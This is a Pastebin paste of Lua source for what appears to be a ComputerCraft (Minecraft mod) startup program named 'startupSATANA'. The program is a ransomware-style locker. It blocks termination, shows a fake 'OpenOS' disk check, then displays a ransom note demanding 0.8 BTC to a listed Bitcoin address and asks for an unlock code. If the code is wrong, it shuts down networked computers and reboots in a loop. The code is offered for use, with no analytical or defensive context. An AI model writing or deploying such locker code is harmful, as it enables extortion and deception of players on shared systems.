Advertisement
Guest User

startupSATANA

a guest
Jul 23rd, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.12 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. --terminal. do not change
  3. local terminal = term.current()
  4. --password. change please. string only. all symbols.
  5. local password = "a"
  6. --program walting time when start
  7. local passwordWT = 5
  8. --virus logo. only string
  9. local logo = ""
  10. local logo2 = "                <!Satana!>"
  11. --virus writing text. next field = next string.
  12. local text = {logo2,"Your computer has been infected and"," need to be repaired!","For repair, you need to pay 0.8 BTC to"," BitCoin Adress: 3KiDdAscq31WdPAmXjfoq3kGMKaKH5XSsb","After paying you can enter your unblock ","  code here, and delete this virus.","Without this code you"," CAN'T delete this virus."," "," (C) ZO125, MineWindows",logo2}
  13. while true do
  14. local PL = peripheral.getNames()
  15. for ID,name in pairs(PL) do
  16. if peripheral.getType(name) == "monitor" then
  17. local proxy = peripheral.wrap(name)
  18. proxy.clear()
  19. proxy.setBackgroundColor(colors.red)
  20. proxy.setTextColor(colors.white)
  21. proxy.setCursorPos(1,1)
  22. TX,TY = proxy.getSize()
  23. for i = 0,TY,1 do
  24. proxy.setCursorPos(1,1)
  25. proxy.write("Disabled.")
  26. end
  27. end
  28. end
  29. terminal.clear()
  30. terminal.setCursorPos(1,1)
  31. terminal.setTextColor(colors.gray)
  32. terminal.write("OpenOS Conducts an inspection ")
  33. terminal.setCursorPos(1,2)
  34. terminal.write(" of the computer.")
  35. terminal.setCursorPos(1,4)
  36. terminal.setTextColor(colors.white)
  37. terminal.write("Checking the hard drive;")
  38. terminal.setCursorPos(1,5)
  39. terminal.write("    Do not turn off the computer!")
  40. sleep(passwordWT)
  41. terminal.setCursorPos(1,1)
  42. terminal.clear()
  43. terminal.setTextColor(colors.red)
  44. for ID,str in pairs(text) do
  45. terminal.write(str)
  46. local CX,CY = terminal.getCursorPos()
  47. terminal.setCursorPos(1,CY+1)
  48. end
  49. local ext = false
  50. for i = 0,5,1 do
  51. local TCPX,TCPY = terminal.getCursorPos()
  52. terminal.setCursorPos(1,TCPY+1)
  53. terminal.write("Enter your code here("..i.."/5):")
  54. local Epass = read()
  55. if Epass == password then
  56. ext = true
  57. break
  58. end
  59. end
  60. if ext then
  61. terminal.clear()
  62. break
  63. else
  64. local PL = peripheral.getNames()
  65. for ID,name in pairs(PL) do
  66. if peripheral.getType(name) == "computer" then
  67. peripheral.wrap(name).shutdown()
  68. end
  69. os.reboot()
  70. end
  71. end
  72. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement